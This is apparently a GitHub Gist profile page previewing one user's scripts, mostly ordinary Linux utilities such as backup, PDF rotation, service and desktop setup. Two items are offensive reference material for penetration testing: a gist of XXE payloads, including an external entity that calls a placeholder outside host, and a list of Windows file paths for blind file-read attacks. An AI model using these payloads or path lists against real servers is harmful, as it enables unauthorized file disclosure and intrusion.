Skip to content

Instantly share code, notes, and snippets.

View deadjakk's full-sized avatar

deadjakk

View GitHub Profile
@deadjakk
deadjakk / backup.sh
Created November 28, 2023 22:08
Simple Linux Backup Bash Script - backup.sh
#!/bin/bash
# Essentially this is a wrapper around rsync to provide context switching and non-relative syncing of files.
# it's a Keep It Simple Stupid backup utility.
# During init you define a root, a remote backup server, and a profile name.
# From there you just enter the same backup server and profile name on any other host to backup and restore files.
# What files are backed up are determined by what symlinks you define in the backup directory.
# These symlinks will be followed in reverse to restore files to their original location after being pulled.
# That's it.
##################### CONFIGURATION
command -v rsync 2>&1 >/dev/null
@deadjakk
deadjakk / pdf_rotate.py
Created October 3, 2023 03:37
Rotates provided pages of a file named input.pdf and saves it to output.pdf
import PyPDF2
import sys
rotatepages = []
inps = sys.argv[1:]
if len(inps) < 1:
print("rotates pages of any pdf named inp.pdf, saves it to output.pdf")
print("usage: pdf_rotate.py <spaced delimited list of pages/page ranges>\nexample: pdf_rotate.py 9-12 15 17-19\nwill rotate pages 9 10 11 12 15 17 18 and 19")
exit(1)
@deadjakk
deadjakk / battery_monitor
Created March 19, 2023 19:05
OpenRC battery_monitor
#!/sbin/openrc-run
# to install: cargo install --git https://git.sr.ht/~deadjakk/batt-monitor
name="battery_monitor"
description="auto shutoff at 20% battery to prevent data loss"
command_user="root:root"
pidfile="/run/${RC_SVCNAME}.pid"
command="/sbin/battery_monitor"
command_args="-c /usr/sbin/hibernate-ram"
command_background=true
@deadjakk
deadjakk / template.service
Last active March 2, 2024 23:18
simple systemd service template
# https://stackoverflow.com/questions/68484974/how-to-run-bash-script-as-background-process-on-system-forever
[Unit]
Description=My Shell Script for Sync
[Service]
ExecStart=/usr/bin/sync.sh
[Install]
WantedBy=multi-user.target
@deadjakk
deadjakk / remarkable-downloader.py
Created March 2, 2022 02:41
downloads all files or files that contain a given substring from the remarkable 2 tablet
#!/usr/bin/python3
# @deadjakk
# to use: just plug in remarkable 2 tablet, go to settings > storage > enable web application
# then run
# python3 ./remarkable-downloader.py # this downloads literally everything as a pdf
# alternatively, adding a word as an argument will only download files with that word in the name
# python3 ./remarkable-downloader.py "math-notes" # this downloads math-notes.pdf
# this could be cleaner... but I no longer use/have a remarkable 2 so I probably won't bother
@deadjakk
deadjakk / xinitrc-xsession-install.sh
Created October 21, 2021 17:54
Install xinitrc as an xsession file
#!/bin/bash
echo installing xinitrc-xsession
git clone https://aur.archlinux.org/xinit-xsession.git /tmp/xinit-xsession
cd /tmp/xinit-xsession
doas cp xinitrcsession-helper /usr/bin/
doas chmod +x /usr/bin/xinitrcsession-helper
doas cp xinitrc.desktop /usr/share/xsessions/
@deadjakk
deadjakk / windows-files.txt
Last active May 24, 2021 22:37
Mirror of windows blind file list original source: https://github.com/soffensive/windowsblindread
c:/all.txt
c:/apache2/log/access_log
c:/apache2/log/access.log
c:/apache2/log/error_log
c:/apache2/log/error.log
c:/apache2/logs/access_log
c:/apache2/logs/access.log
c:/apache2/logs/error_log
c:/apache2/logs/error.log
c:/apache/log/access_log
@deadjakk
deadjakk / dwm_status.sh
Last active February 24, 2024 03:40
Outputs status information to dwm status bar.
#!/bin/bash
# Original source: https://raw.githubusercontent.com/kaihendry/dotfiles/master/bin/dwm_status
# Network speed stuff stolen from http://linuxclues.blogspot.sg/2009/11/shell-script-show-network-speed.html
print_wifi() {
ip=$(ip route get 8.8.8.8 2>/dev/null|grep -Eo 'src [0-9.]+'|grep -Eo '[0-9.]+')
if=wlan0
while IFS=$': \t' read -r label value
do
case $label in SSID) SSID=$value
@deadjakk
deadjakk / XXE_payloads
Last active May 24, 2021 02:17 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@deadjakk
deadjakk / encrypted-zfs-home.sh
Created January 27, 2021 04:26
Quick script to create an encrypted luks container, create a zfs pool for it along with a mount point, add a new user, then write the crypttab line for boot
#!/bin/bash
echo "enter username:"
read USERNAME
echo "enter # of gigabytes the home drive should be, just the number"
read SIZE
echo "Executing:" "sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G"
cd /
sudo adduser $USERNAME
sudo rm -rf /home/${USERNAME} # removing the home directory it created
sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G